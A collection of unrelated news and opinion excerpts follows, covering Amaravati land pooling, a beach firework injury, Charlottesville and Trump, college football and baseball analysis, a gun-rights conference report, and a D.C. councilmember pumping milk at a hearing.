it's about a better recognition of what true capitalism is supposed to be about: more efficient transactions, with minimal friction, where all parties benefit from the transaction.So there's plenty that I find compelling in Rifkin's book and theories, but I think that he makes a leap too far in arguing that it somehow goes against capitalism, or that civil society and non-profits are somehow "the solution" to a problem that's not clearly a problem.
The more-or-less smooth acquisition of 32,000 acres of land from farmers by the N Chandrababu Naidu government to build Amaravati, the new capital of Andhra Pradesh which will be inaugurated Thursday, has prompted the Centre to consider the state’s land-pooling mechanism as a model that can be adopted by other states and Central government agencies.
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“Union Finance Minister Arun Jaitley and Urban Development Minister M Venakaiah Naidu have shown a lot of interest in the process followed by the state for acquiring land. They have been seeking regular updates on the process,” said Y S Chowdary, Minister of State (Science & Technology), who was initially the chairman of a capital committee set up by Naidu.
WATCH VIDEO
Even as Union Cabinet ministers are studying Andhra’s land-pooling model, certain Central government infrastructure ministries are already exploring the feasibility of deploying it for projects such as power transmission, where large tracts of contiguous land are required. “Since private developers are struggling for land and there are obstacles posed by the UPA-legislated land acquisition statute, alternatives such as the Andhra model should be considered,” said a power ministry official present in a meeting called to address concerns of power generation and transmission developers.
Chowdary said his state’s land pooling method created a “win-win situation” for both farmers and project developers. He, however, admitted that the Andhra government stretched itself by handing over 25 per cent of developed land to original owners. The state had acquired 31,000 acres from about 18,000 farmers by committing an annuity of Rs 50,000 per acre for 10 years and simultaneously giving back 1,250 sq yards of residential plot and 200 sq yard of commercial plot in the new city for every acre.
According to Chowdary, the state need not have acquired so much land, but was left with little choice because it agreed to partake with the farmers a larger portion of developed land. Besides the 32,000 acres land acquired from farmers, the state itself has 22,000 acres. Sources in the state government said that except for a village where the YSR Congress was strong, farmers have willingly given the land. “About 3,000 acres is still to be acquired,” a source said.
The Andhra Pradesh government further provided incentives to the original owners of land by exempting them from capital gains tax and stamp duty on the first sale. “Since this was agricultural land and gains would not have been taxed on sale, the state decided to exempt it from capital gains tax after change in land use. Also, stamp duty has been waived to make it worthwhile for the farmers,” Chowdary said.
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The boy found the explosive on Corcoran Beach. Deputies are trying to determine where it came from.
Saturday evening, three boys ages 11, 13 and 15 were visiting Santa Cruz from Livermore, said Santa Cruz County sheriff”s Sgt. Kelly Kent.
About 7 p.m., the boys were at Corcoran Beach near 21st Avenue with an adult. One of the boys found a “gold shaped egg made of cardboard and a small fuse,” Kent said.
They brought it back to a relative”s home on the 500 block of Corcoran Avenue, where the 15-year-old lit the fuse, deputies said. The object exploded and launched shrapnel at the boy”s torso. It also resulted in the “potential loss of his hand,” Kent said.
Deputies and Central firefighters responded, and the boy was transported by helicopter to Stanford Hospital, authorities said.
Kent said it did not appear that the object was left on the beach to harm anyone, but deputies combed the beach and the surrounding area for other similar devices. They found none.
Deputies said anyone who finds similar objects should not touch them; instead call 911.
Kent said fireworks can be dangerous and can harm people.
“This tragedy is every parent”s worst nightmare,” said Sheriff-elect Jim Hart. “This is why we seize commercial-grade fireworks and step up enforcement on the Fourth of July.”
WFTO at EGX
Stumpy’s Treasure Quest
The current president of the United States has his own little army of men who play by no rules, many armed to the teeth with assault rifles, all who chant racist slurs, usually bearing some implement that can be used as a weapon—a lit torch, a flagpole, a stick, a club, a homemade shield deliberately crafted with sharp edges. And he means to keep them in his service.
Congressional leaders, meanwhile, have demurred when asked if they would hold hearings on the spread of violent white nationalism in the wake of the Charlottesville violence. These Republicans know on which side their bread is buttered—the crusty side labeled “hate.”
In a press conference on Tuesday, President Donald J. Trump partially walked back the blanket condemnation of neo-Nazi, Ku Klux Klan, and white nationalist groups he appeared to issue only reluctantly on Monday, pivoting to take up a talking point from the far right. In the right’s narrative, the violence that ensued in Charlottesville, Virginia, on August 12 is as much the fault of anti-racist counter-protesters as it is that of the white supremacist groups that had come to town, bearing arms, ostensibly to protest the planned removal of a huge statue of Confederate General Robert E. Lee from a town park. What they really came to town for, though, was to rumble—to frighten those who oppose the racist polices of the Trump administration into shutting their mouths.
Trump seemed to characterize a Friday-night march of hundreds of young men bearing flaming torches to the University of Virginia campus as a peaceful assembly, failing to mention that they set upon a small cadre of unarmed counter-protesters on the campus lawn carrying a hand-painted banner that read “VA Students Against White Supremacy.” They came chanting the Nazi slogan “blood and soil.” Surrounding a statue of Thomas Jefferson, they bellowed, “Jews will not replace us.” They wielded torches as weapons, injuring a college dean, and punched students who dared to protest their arrival. (Video of the mayhem is here.)
Many came to Charlottesville on Saturday wearing Donald Trump’s favorite golfing attire, some carrying Confederate and neo-Nazi flags. A white polo shirt, khaki pants, and the signature red “Make America Great Again” cap of the Trump presidential campaign formed a uniform seen all over town during the weekend’s melee that left three people dead—one protester and two police officers.
I witnessed a contingent of these Trump acolytes marching in a group, with members bearing the rebel battle standard as well as what appeared to be the banner of the Texas chapter of Vanguard America, a neo-Nazi group. They were headed toward the park where Saturday’s “Unite the Right” rally was to have taken place.
While paying lip service to opposing neo-Nazis and white nationalists at his Tuesday press conference, Trump did so with a wink and a nod to the neo-Nazis and white supremacists who find in him a kindred spirit. Afterward, David Duke, a former KKK leader and unrepentant white supremacist, tweeted: “Thank you President Trump for your honesty & courage to tell the truth about #Charlottesville & condemn the leftist terrorists in BLM/Antifa.”
Note how Duke folds the Black Lives Matter (BLM) movement into the antifa protesters, many of whom carried sticks as they protested. They argued the sticks were carried only in self-defense, and given how counter-protesters were physically attacked, a pretty good case could be made for arming oneself in a town given over to militiamen carrying semi-automatic rifles. There’s a healthy debate to be had as to whether arming oneself in obvious ways—a few carried bats—in such circumstances only escalates the potential for violence (I believe it does). Nonetheless, had there been no hate rally planned for Charlottesville, there would have been no counter-protesters there. Trump chose to turn this argument on its head by suggesting that what he called the “alt-left” had no right to be in town.
“You had a lot of people in that [Unite the Right] group that were there to innocently protest and very legally protest, because you know, I don't know if you know, but they had a permit. The other group didn't have a permit,” Trump said.
The president here pretends not to realize that one does not need a permit to protest an event for which another group has obtained a permit for the use of a public park as an event space.
In his press conference, the president sided with the white supremacists who object to the removal of the Robert E. Lee statue—a statue commissioned in 1917, the year Jim Crow segregation laws were first put into effect.
Making his excuses for the white supremacists, Trump said, “You had people in that group that were there to protest the taking down of, to them, a very, very important statue and the renaming of a park from Robert E. Lee to another name.”
That other name is Emancipation Park. You don’t need to wonder why the president failed to utter its name.
He went on to say that if statues of Lee and Stonewall Jackson are taken down, will monuments to Thomas Jefferson and George Washington be next? After all, he said, they were both slaveholders. True enough—but neither was a traitor to the United States of America. And American flags were in short supply among the right-wing forces arrayed in Charlottesville on Saturday. They preferred to carry the standards of the Confederacy, or of their own noxious groups.
When a reporter noted that Senator John McCain, Republican of Arizona, laid the blame for the violence at the feet of the alt-right—the name popularized by Richard Spencer (of “Hail Trump!”) fame for a 2.0 coalition of white supremacists—Trump displayed his belligerence. “When you say the alt-right, define alt-right to me,” he said. “You define it. Go ahead. Define it for me, come on, let's go.”
Trump boasted that the mother of Heather Heyer—the 32-year-old anti-racism protester who was killed when a car driven by a white supremacist plowed, at full speed, into the counter-protest in which she was marching—had tweeted something nice about him. But when asked if he had reached out to her family, he said he hadn’t done so yet, but was planning to.
In the meantime, a KKK leader left a voicemail for Steve Crump, a reporter for WBTV in Charlotte, North Carolina. “I’m glad that girl died,” said Justin Moore, who bills himself as Grand Dragon of the Loyal White Knights of the Ku Klux Klan. “They were a bunch of Communists out there protesting against somebody’s freedom of speech, so it doesn’t bother me that they got hurt at all. … I think we’re going to see more stuff like this happening at white nationalist events.” Trump can say as many nice things as he wants about Heather Heyer, whom he called a “fantastic young woman” during his press conference, but Moore and his ilk are part of Trump’s little army.
Today, Heather Heyer’s family will lay her to rest. Her family has asked mourners to wear her favorite color: purple.
LAST NIGHT, VETERAN JOURNALIST Carl Bernstein tweeted that “important Republicans” and top-tier military and intelligence sources were saying in private that Trump is unfit to be president. That was followed by a tweet from CNN’s Jim Acosta that an unnamed Republican leader told him, “I think [Trump’s] ability to effectively govern is dwindling by the hour.”
We are at a perilous hour. It appears that the Republican leadership has lost its faith in Trump, but is paralyzed as to what to do about it. And if Bernstein is correct (and he usually is), the specter of military and intelligence leaders expressing doubts in the president’s ability to perform his duties means that we cannot be sure in whose hands decisions to execute intelligence and military operations actually fall. Will a general take an order from a man he deems unfit to be commander-in-chief? Surely, that general faces an ethical conundrum.
There is no time left to debate whether Trump should remain in office. His cabinet can remove him under the 25th amendment, but they probably won’t. The House of Representatives can draw up articles of impeachment, but they can’t even manage to hold hearings on a weekend of political violence executed by the self-styled white-supremacist army that venerates Trump.
Here are some Week 1 results from this season:
South Carolina 17, North Carolina 13. The Tar Heels haven't lost since and have beaten at least two teams that are, on paper, quite a bit better than the Gamecocks.
Auburn 31, Louisville 24. The sixth-ranked Tigers wobbled but held steady against a pretty strong Cardinals team. Two promising teams ... who have since gone 6-6.
Texas A&M 38, Arizona State 17. A fun, back-and-forth game between two top-20 caliber teams expected to contend in their respective divisions. The two are unranked and a combined 4-4 in conference play.
Et cetera. Because we are starved for football and so desperate to get answers to all the questions we asked in the offseason, we overreact to every shred of evidence Week 1 provides us. And then the next 13 weeks overrule almost everything we saw.
That Stanford and Washington State might be playing the biggest game of Week 9 tells us everything we need to know about Week 1's predictive value. The Cardinal traveled to Northwestern on Sept. 5 and came away with a feckless 16-6 loss. The Wildcats' defense was strong for a few weeks before fading, but the Cardinal have surged since this disaster (which reminded us of all of Stanford's 2014 inefficiencies and drive-finishing inability).
During its current six-game winning streak, Stanford has scored at least 31 points in every game and has scored at least 41 four times. The same Cardinal unit that couldn't get out of its own way in Evanston now ranks 10th in Off. S&P+, and considering both current quality and upcoming schedule, Stanford might be the one-loss team most well-positioned to reach the Playoff at the moment.
Then there's Wazzu. The Cougars fell, 24-17, to Portland State in Week 1, sparking major concerns (conclusions, even) regarding Mike Leach's future in Pullman. Granted, Portland State has proven to be a decent team -- 12th in the FCS coaches poll, 106th in Sagarin, 6-1 with only a loss to North Dakota and a walloping of North Texas -- but when you've got a nine-game conference slate to look forward to, this isn't a game you can afford to lose if you have serious bowl aspirations.
Since then, Washington State is 5-1. The Cougs fell by six on the road to Cal but won at Oregon and Arizona, survived a cross-country road trip against Rutgers, and pounded Wyoming and Oregon State. The offense, a liability against Portland State, is now hotter than it's ever been under Leach.
Washington State has scored 47.3 points per game in its last three conference games (all wins), against Oregon, Oregon State and Arizona. The Cougs have averaged 597.3 yards per game, 6.6 per play, and are enjoying their most prolific three-game span ever under Mike Leach. Sophomore quarterback Luke Falk was already producing solid numbers during Wazzu's 2-2 start, but during this three-game streak, his numbers are off the charts: 73 percent completion rate, 16 touchdowns, just two interceptions. Gabe Marks has 22 catches for 303 yards and seven scores in this span; those seven touchdown receptions would rank 13th in the country for the whole season.
Stanford is up to eighth in the AP poll, and Washington State is receiving votes. The winner of this Pac-12 After Dark contest (10:30 p.m. ET Saturday on ESPN) controls its destiny in the Pac-12 North race. We expected all of this. Totally.
We knew nothing after one week, but what do we know about this matchup after a full seven games each?
1. Efficiency will decide the game
The methods couldn't possibly be more different. Washington State throws more frequently than any team in the country and operates at a top-25 pace. Stanford runs more than two-thirds of the time on standard downs and takes its sweet time. But the goals are the same. Both offenses rely on efficiency over big plays, on jabs instead of uppercuts.
Eschewing opponent adjustments, Stanford currently ranks third in the country in success rate and 100th in IsoPPP (which measures the magnitude of successful plays). The Cardinal are really good at getting on base but aren't hitting many home runs. The Cougars? Exactly the same: Fifth in success rate, 110th in IsoPPP.
Adjusting for opponent gives Stanford far more credit than Wazzu, but the personality here is the same. Nearly 50 percent of Christian McCaffrey's carries gain at least five yards, and the Cardinal are nearly automatic in short-yardage situations. Meanwhile, Wazzu's Luke Falk is completing a brisk 73 percent of his passes. On first downs, he's completing 79 percent while averaging just nine yards per completion. And both teams are in the top 30 in third down conversion rate.
Stanford's biggest advantage might simply be defending relatively efficiently. The Cardinal have struggled with defensive depth and inexperience, especially up front (the pass rush is almost nonexistent), but they swarm to the ball, tackle well and rank a respectable 25th in defensive success rate. Wazzu? 107th. The Cougars prevent big plays but don't disrupt your offensive flow. That could be a problem.
2. If efficiency doesn't, short yardage might
For fun, I added up the (very athletic) weight of @StanfordFball personnel in this package: 3,017lbs (1.5 tons) pic.twitter.com/8wKnqClwMk — J.B. Long (@JB_Long) October 26, 2015
It makes perfect sense that Stanford, which all but moves into a nine-lineman formation in short-yardage situations, would be pretty good at moving your defense forward a couple of yards. The Cardinal rank third in the country in Power Success Rate at 88 percent. But to Wazzu's credit, the Cougars are pretty good at providing resistance in these situations, ranking 23rd in the same category by allowing conversions just 55 percent of the time. If stuffed on third-and-2, conservative David Shaw might elect to punt and give Washington State an opportunity to wear down Stanford's thin defense. But few teams actually stuff Stanford.
Meanwhile, remember when Stanford was awful at finishing drives? The Cardinal blew multiple games for exactly that reason last season and ranked a baffling 109th in points per scoring opportunity, then began this season by scoring six points in three opportunities (not including a punt from the Northwestern 37) in Evanston. Since then, they've been nearly automatic. They're now up to 11th in the country, averaging 5.57 points per opportunity. (That average would have potentially won the Northwestern game.) Wazzu, meanwhile, is allowing 4.93 points per chance (93rd). Whatever chance the Cougars have is magnified if they can force an appearance of last year's Stanford red zone offense.
On the flipside, Wazzu is averaging 5 points per chance (49th), and Stanford is allowing the same 5 points (96th). If the Cougars can finish drives better than the Cardinal, they will buy themselves some margin for error.
3. Washington State still probably isn't that great
We all have our "College football is more fun when [random team] is good" biases. For some, it's a historical powers like Nebraska or Michigan. For others, including me, that random team is Whoever Mike Leach Is Coaching. That Leach has a 5-2 team that has turned on the offensive afterburners of late is awesome, and the scene in Pullman if the Cougs upset the Cardinal will be somewhere between cathartic and apocalyptic. But S&P+ win probabilities only give Wazzu about a 28 percent chance of doing that, even at home, because the Cougars still haven't been incredibly impressive this year.
Improvement is improvement, and wins are wins. But Wazzu still only ranks 60th in S&P+, which makes sense when you look at the schedule at hand. Of WSU's five victims, none rank better than 57th in S&P+, and the average score in the Cougars' four games against top-100 opponents (which obviously doesn't even count Portland State) is WSU 39, Opponent 37. Sixtieth (28th on offense, 93rd on defense) seems about right.
Stanford, meanwhile, has proven far more on paper. The Cardinal are 14th in S&P+, having defeated two top-20 teams by a combined 97-66. Over the last six games, their average percentile performance is 81.3 percent. WSU's: 60.2.
Still, a 28 percent chance means a win is far from impossible; roll two dice, and there's a 28 percent chance you roll a nine or higher. After Week 1, there was a far lower than 28 percent chance that WSU would be playing in a game of this magnitude this late in the year. Don't tell the Cougs the odds.
4. Both teams are due a turnaround from the turnovers fairy
Against Northwestern, Stanford recovered only one of four fumbles and was unable to turn any of four pass break-ups into interceptions. For the season, the Cardinal have had some of the worst turnovers luck in the country, averaging nearly 4.1 points per game of bad bounces. That makes their accomplishments -- six wins by an average of three touchdowns each -- even more impressive.
Wazzu, on the other hand? Plus-5.1 points per game of turnovers luck. Only Miami (plus-8.1), Houston (plus-5.9), and Bowling Green (plus-5.9) have benefited more. And while WSU's two losses were each by a touchdown or less, so were three of the Cougars' wins. The bounce of the ball has been kind.
There's nothing saying that has to change, of course. Washington State is but a couple of good bounces and a red zone stop or two from having a serious chance of controlling the North. That's an incredible thing to say considering what we thought we knew seven weeks ago.
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Recently, the Orioles have a history of letting Rule 5 draft picks stick around on the team.
Baltimore selected Ryan Flaherty in 2012 and T.J. McFarland in 2013. Both players have shown their value, with Flaherty being used as a utility man and McFarland as a long reliever.
This season, the O’s picked up pitchers Jason Garcia and Logan Verrett in the Rule 5 Draft. Garcia is an exciting selection because of his high-velocity fastball and because he’s only 22 years old.
So can a pitcher, who hasn’t pitched past Class A in the minors, make the major league roster?
Garcia has been in Boston’s minor league system since he was 17 and has shown some mixed results. He posted a 3.88 ERA in his first season in Class A, but it spiked to 6.16 in his next season.
However, Garcia improved over the next few years. He had a 3.79 ERA and 37 strikeouts in 35.2 innings last season. Garcia also didn’t give up any home runs, had the lowest H/9 rate of his career and had the highest SO/9 of his career, according to baseball-reference.com.
It’s going to be hard for a pitcher who hasn’t pitched in the majors to make the team with a crowded bullpen. Zach Britton, Darren O’Day, Brian Matusz, Tommy Hunter and Brad Brach seem to be the likely locks for the bullpen. That means Garcia will have to battle Wesley Wright, Ryan Webb, McFarland and possibly Miguel Gonzalez for one of the final few spots.
Garcia pitched well in the last intrasquad game Sunday, striking out two batters in an inning of work, according to Adam Berry of MLB.com. He also drew the interest of his teammates:
Buck said some players moved from the bench to the top step of the dugout to watch Jason Garcia pitch. #orioles — Roch Kubatko (@masnRoch) March 1, 2015
Its tough odds for the young pitcher, as the Orioles have a logjam in the bullpen. It would help if the team chooses to keep eight relievers, but a lot depends on the how comfortable the Orioles feel with their bench players.
Injuries or a possible trade can also help out Garcia, which are two things that seem to normally happen with Baltimore pitchers.
Garcia will get a chance to show was he’s capable of soon, as Spring Training games start tomorrow. He’ll have a month to convince Buck Showalter and company that he can surpass a few levels of minor league baseball.
"Take a look to your left," said the Hon. Philip Journey. "Now take a look to your right. What do you see?" It was Saturday morning inside a hotel ballroom at Houston's George Bush Intercontinental Airport. We, the several hundred congregants of the twenty-eighth annual Guns Rights Policy Conference, did as instructed. Looking to my left, I saw the pundit and National Review columnist John Fund struggling to attach a new credit card reader to his smart phone. Looking to my right, I exchanged nods with an older gentleman wearing suspenders and a VFW hat. He looked like he could have served in the Navy with the airport's nearly nonagenarian namesake. "You'll notice there's a lot of grey in this room," said Judge Journey, who when not sitting on a Kansas district court bench serves as an officer for the Kansas State Rifle Association. "That's the problem with our movement. We've got to get children into the shooting sports and develop an appreciation by them in the right to keep and bear arms. Because in 20 years, where will we be?" This question -- "In 20 years, where will we be?" -- is one of gnawing urgency for the gun-rights movement. At the National Rifle Association convention last summer, I heard gun industry veterans joke that NRA now stood for "Normal Retirement Age." At this smaller but no less influential meeting of leading pro-gun minds, most speakers circled back to their fear that those in the room represented the end of a proud line. Even as the movement's leading activists boasted of recent victories at the federal and state level -- and there are many, from successful recall elections in Colorado to a carry law in Illinois -- they warned of a deadly demographic drop-off, that the energy and the youth was all in the gun-reform corner. "The people on the other side, like [the Stimson Center's] Rachel Stohl, they are very young and they are motivated," said Julianne Versnel, of the International Association for the Protection of Civilian Arms Rights. "They know how to Tweet and Facebook, and they are doing a very good job." If only winning the battle for young hearts and minds was as simple as opening a Twitter account. Like the GOP it overwhelming supports, the pro-gun movement does not sound like a modern army positioned to win a culture war for the allegiance of young Americans. Beverly Zaslow, a protégé of Andrew Breitbart who produces right-wing documentaries, used to the GRPC podium to slam the television program Glee for not having "normal kinds of relationships in it." Another speaker advised the pro-gun movement to "accept the gays, if they're with us." This kind of outreach is unlikely to draw the required levels of new blood needed to replace the men in suspenders and VFW hats. The severity of the crisis was put most bluntly by Andrew Sypien, content manager for the online retail gun giant CheaperThanDirt.com. "It's the 25 to 35 year-olds who are going to replace you in ten years," he said. "If you don't get them, it's going to die here with you." The "it" here refers to a Second Amendment absolutism that rejects as unconstitutional restrictions on the right of Americans to buy, sell, transport, and carry firearms as they see fit. For the last 30 years, no single figure has done more to advance this vision of an Armed America than the diminutive, bow-tied organizer behind the Gun Rights Policy Conference. Though few Americans have ever heard of Alan Gottlieb, we live in a country he helped create.
Gottlieb began his crusade in 1974, when he founded two non-profits dedicated to the defense and expansion of gun rights: the Citizens Committee for the Right to Keep and Bear Arms, and the Second Amendment Foundation. Both pushed an agenda to the right of any gun group in the country. This included the NRA, which was then a more centrist organization focused on gun safety, hunting, and marksmanship. From this twin institutional base, Gottlieb crafted and executed public relations campaigns and lawsuits that anticipated Wayne LaPierre's NRA by decades. Central to his plan was developing a legal brain trust to advance the pro-gun agenda in the courts.
Today, the SAF's legal team is led by Alan Gura, the principal litigator in the landmark Supreme Court decisions D.C. v. Heller and McDonald v. Chicago, which declared the individual right to gun ownership for self-defense as a Constitutional right, and one applicable to the states. The state-level suits filed by SAF-affiliated lawyers are too numerous to list. Over the years they have significantly impacted gun law across the country. This success has engendered condescension among SAF strategists when it comes to their bigger, better-known, better-funded ally, the NRA. "The Second Amendment Foundation is the nation's leading gun rights litigation team," said Gura in Houston. "There's nothing wrong with lobbying and get-out-the-vote work. But this group is not just about filling your mailbox, or rabble rousing on the Internet, or sending you trinkets."
Gottlieb is no stranger to the art of filling mailboxes. In tandem with building up his gun-rights organizations, Gottlieb has grown a profitable direct-mail business called Merril Associates. Over the years, Gottlieb's direct-mail business has assisted him in growing his gun group membership rolls into the hundreds of thousands. These membership rolls have, in turn, been very good for his direct mail business. According to tax filings, the Bellevue, Washington-based SAF and CCRKBA have spent nearly $1.7 million since 2010 on contracts with Merril, which Gottlieb operates out of the same building as his gun groups. (Gottlieb has used these resources to push more conservative causes than just gun-rights. His outreach and fundraising know-how is credited with launching the Wise Use movement to weaken environmental regulations. He also serves on the board of directors of the American Conservative Union.)
As Gottlieb grew his fortune and influence in the 1980s, the NRA appeared in his rearview driving a similar politics. But his two non-profits remain laboratories for the larger pro-gun movement, and Gottlieb's inner-circle still sets the pace. He once told a Seattle newspaper, "I'm kind of the gun lobby's lobby. I prod them a whole lot. What happens is that things get innovated here and the NRA is then forced to copy it. A good example is the whole woman [sic] and guns issue. Other examples could be making the gun movement more of a civil-rights type thing."
The notion that gun rights are basic civil and human rights is today at the very center of the movement's political and legal strategies. The idea literally hung over last weekend's GRPC proceedings in the form of a stage banner reading, "EQUAL GUN RIGHTS." Under it, speakers compared gun-policy reformers to segregationists and Nazis. Massad Ayoob, a Second Amendment Foundation board member, ended a defense of Stand Your Ground laws with Blackstone's statement that "self-defense is the highest of all human rights." John Lott, the pro-gun academic, spoke of gun taxes as modern day poll taxes. "We need a document on how high fees and licensing taxes reduce gun ownership and are discriminatory," he said. Alan Korwin, author of 13 books on guns, said reformers "want to treat [gun owners] like the Negroes at the lunch counter."
It's worth noting that Korwin is considered the Frank Luntz of the pro-gun movement. Lauded by multiple speakers, he is the author of a "politically corrected" gun glossary designed to focus the gun debate around a language of rights. This lexicon, he believes, is key in wooing America's growing Latino population, which he sees holding the line against the gun-reform youth edge. "Some form of amnesty is coming," said Korwin, "and when they become citizens, they get the Second Amendment. That's 20 million people able to buy a gun and go to a range. They're slaves in Mexico. They're gonna come here and find out what freedom is about and come over to our side."
First someone needs to "get them to the range." Undergirding the strategy expressed at GRPC is the belief that people can be recruited into the gun lobby by the simple act of placing some steel in their hands. Faith in the transformative power of shooting found its most enthusiastic promoter in Charles Heller of Jews for the Preservation of Firearm Ownership, a group that has been criticized by the Anti-Defamation League for linking stronger gun laws to anti-Semitism and the Holocaust. It all starts with the proper gateway gun. "If you can at least get them to own a .22," said Heller. "Going from zero to one gun is the biggest change. Going from one to 34 is not a big deal. If we could just get them to a Ruger Mark II, or a Browning Buck Mark, or a Smith & Wesson 422, it would be a tremendous leap forward. It would be the footprint on the moon. That's what it would be."
While driving new recruits to the munitions moon, Heller told the audience they should feel free to describe anti-gun Jews as "bagel brains," a phrase coined by his organization's rabbinic director. "When you quote Rabbi [Dovid] Bendory," said Heller, "you aren't being anti-Semitic, you are being a reporter, reporting it as fact."
Inside the pro-gun movement, there is no bigger "bagel brain" than Michael Bloomberg. Angst and anger over Bloomberg's financial commitments to gun reform causes bubbled up repeatedly, described as a threat on par with the natural aging process. The weekend featured a panel titled, "Bloomberg: The $500 Billion Anti-Gun Gorilla," but it could have been the name of the entire conference. Bloomberg's shadow darkened each speaker's outlook, beginning with Gottlieb, who described Bloomberg's support for state ballot-measures as "the biggest short-term threat to the movement." Several speakers expressed something close to terror over their belief that the mogul-mayor's most recent donation to the Johns Hopkins School of Public Health that bears his name was made to fund 40 full-time gun-policy researchers. While a $350 million dollar gift was announced in January, a spokesperson for the School says the money was not targeted to gun policy research, but rather to "cross-disciplinary work across the university to galvanize people and resources around a set of complex global challenges."
This is made clear by the press release announcing the donation, which also explains that $100 million of the funds will be used for need-based financial aid. These facts did nothing to temper the conspiracies. "Johns Hopkins has always been a center of anti-gun thinking, but this [development] is extraordinarily serious," said the gun lawyer Mark Barnes. "We're going to have to get behind young people who can counter this over time."
"What came out of Newtown was the threat represented by Michael Bloomberg," said Jeff Knox, a World Net Daily columnist who heads the hardline Firearms Coalition. "The conglomeration of groups and forces he funds is the greatest threat that we face right now. We must make the name Bloomberg a poison pill in the political community, so that anything remotely related to his money is Dead On Arrival. We slammed him in Colorado, next is Virginia, where he's backing [Democratic gubernatorial candidate Terry] McAuliffe."
Virginia's gubernatorial race is high on the pro-gun agenda. But the SAF and its network of lawyers and activist groups are active in all 50 states. They consider every inch of legislative ground in every one of them sacred turf. This includes even "hard cases" like New York, where SAF lawyers have filed suit against the SAFE Act, the law passed earlier this year in response to the Sandy Hook school shooting, which tightens the state's ban on assault weapons, requires background checks for every gun sale, and strengthens penalties for selling guns illegally. "You don't win battles by playing defense," said Gottlieb in his opening remarks before a state legislative affairs briefing. "We have a record number of bills in statehouses in blue states."
At the state level, the movement is on a roll. Speakers from a dozen states rattled off impressive records -- defeating proposed gun reforms and weakening those already on the books. Sean Caranna, of FloridaCarry.org, waxed confident about the chances for relaxing his state's carry laws so that revealing a gun during an argument is less likely to be prosecuted as aggravated assault or improper escalation of force. Jim Irvine, of Ohio's Buckeye Firearms Association, explained how Republican legislators are playing defense, allowing them to play offense on issues like open carry, Stand Your Ground, and gun training for teachers. Irvine told the crowd to act locally but think and link nationally, that a victory or defeat for one is a victory or defeat for all. "Like Hitler and the Nazis," said Irvine, "Bloomberg looks for targets he can pick off. The idea is to take those one at a time, until there's nobody left except you."
The pro-gun movement's leading lawyer described 2014 as a potential watershed year for gun politics at the federal level. Alan Gura ran down three cases related to concealed carry that he believes have a chance of making it to the Supreme Court. Which one the Court decides to take up doesn't matter; the particular decision is less important than the court agreeing that the Second Amendment protects carrying guns outside the home. Also consequential for a range of gun law fights is the legal language of the decision. Specifically, Gura will argue against the legal standard by which most courts decide Second Amendment law.
Some courts have decided that the permissibility of gun regulations is determined based on the principle of "intermediate scrutiny," meaning that gun regulations must be proved to be "substantially related to an important governmental interest," such as public health, safety, and order. Gura seeks to replace the "intermediate scrutiny" standard with the much higher test of "strict scrutiny." The "strict scrutiny" standard requires laws to be "narrowly tailored to achieve [a compelling government] interest and it must be the least restrictive means of doing so," said Kelly Ward, a lawyer who works on gun-policy issues. Because of this language and the standard it sets, it is considered a graveyard for regulatory laws. Legal experts say success by Gura would endanger state and municipal-level permitting systems and other laws across the country.
"We have three petitions before the Court, but we need only argue one of these to correct 'intermediate scrutiny' approach," Gura said in Houston. "Heller and McDonald suggest they will take future petitions, but should they refuse all of them, then Heller and McDonald don't matter a lot. They are important only if shown to change the way Supreme Court deals with Second Amendment. Next year may be the most consequential since 2008."
At the street level, Gottlieb's groups are busy planning a nationwide action on the anniversary of the Newtown massacre. Emboldened by polls suggesting a sagging in public support for gun reform, Gottlieb is confident he can win the battle for hearts and minds by planting a flag in the memory of Sandy Hook. The SAF is organizing a "Guns Save Lives" day that they hope will include protests and meet-ups in 50 states. "We are not going to let the gun prohibition lobby own December 14," said Gottlieb. "We will out-organize the other side and show America that there is a good side to guns."
Their plan for December 14 shows that Gottlieb's groups can be as delusional and tone-deaf when it comes to public opinion as the NRA. But the yearly GRPC is also home to admissions you would never hear at the NRA's main-event annual gun-show and GOP primary pre-run. This begins with the simple admission that Barack Obama has failed to advance the gun-reform agenda. SAF president Joseph Tartaro gloated over the nonexistence of the gun-grabbing Satan that stars in so many NRA fundraising letters. "He's more of a talker than a doer," Tartaro said.
The weekend's discussion of the global Arms Trade Treaty likewise began with a rare gun-culture admission of reality. Allen Youngman, of the Defense Small Arms Advisory Council, criticized unnamed pro-gun groups who fundraised off a false caricature of the ATT. "The ATT is not a direct assault on the Second Amendment in its present text," said Youngman. "The U.S. delegation did a superb job in keeping the bad stuff out. There's no gun registration. It's just not in there."
But these moments of reasoned clarity tended to be short-lived, giving way to NRA-style hyperbole. Obama has proven a paper tiger, but just wait 'til Andrew Cuomo is in the White House. The ATT is not a threat as written, but the Senate must never sign it and we must always remain ever vigilant. And just like inside the NRA, the ahistorical superlatives rain down like water. One speaker called New York's SAFE Act "the most unworkable law since Prohibition." Gottlieb could have been reading from a Wayne LaPierre speech when he said, "The most important midterm election in our lifetime is just a year away. Losing our freedoms is always just one election away."
Another similarity is the presence of the pro-gun movement's silent partner: the gun-and-ammo industry. At last year's NRA convention, CheaperThanDirt.com donated $500,000 to the group's lobbying arm. At the GRPC, the company was a diamond level sponsor at $100,000. This put the company's name on a banner alongside the logo of handgun maker Glock. It also shielded the company from public criticism. During a panel on "Advancing Gun Rights in the New Media," an attendee asked a CheaperThanDirt executive about the company's decision to treble prices on certain items on the night of president Obama's Newtown speech. The moderator quickly jumped in and ended the line of questioning. Sly digs at the NRA are one thing. Getting into the economic interests and incentives of the gun industry, that remains a collapsible stock too far.
Short Link
D.C. Councilmember Brianne K. Nadeau (D-Ward 1) (Jahi Chikwendiu/The Washington Post)
As a new mother, D.C. Council member Brianne K. Nadeau (D-Ward 1) often pauses during long workdays to go into her office, shut the door and pump milk for her 3-month-old daughter.
But on Thursday during a public hearing about homelessness that spanned nearly six hours, Nadeau announced that instead of excusing herself, she would be pumping from the dais.
She also broadcast her decision on Twitter: "I don't want to recess my committee each time I need to pump so I will be pumping for a short while as our hearing on Rapid Rehousing continues. I believe its the first time it has been done from the DC Council dais."
Nadeau's move comes amid a nationwide push to normalize breast-feeding and pumping in public spaces. She joins a growing number of politicians who have made headlines recently for breast-feeding while casting votes or taking part in meetings— a trend that probably will continue as more women run for and assume public office.
Andrea Dew Steele, president of Emerge America, a training program for female candidates, said there is a sea change occurring among women, particularly among Democratic women running for office after Trump's election.
"Instead of women saying, 'I can't run; I have small children,' they are saying, 'I have to run because I have small children,' " Steele said.
That has also meant more female politicians putting the needs of their children on public display.
[More mothers of young kids running for office amid surge of Democratic candidates]
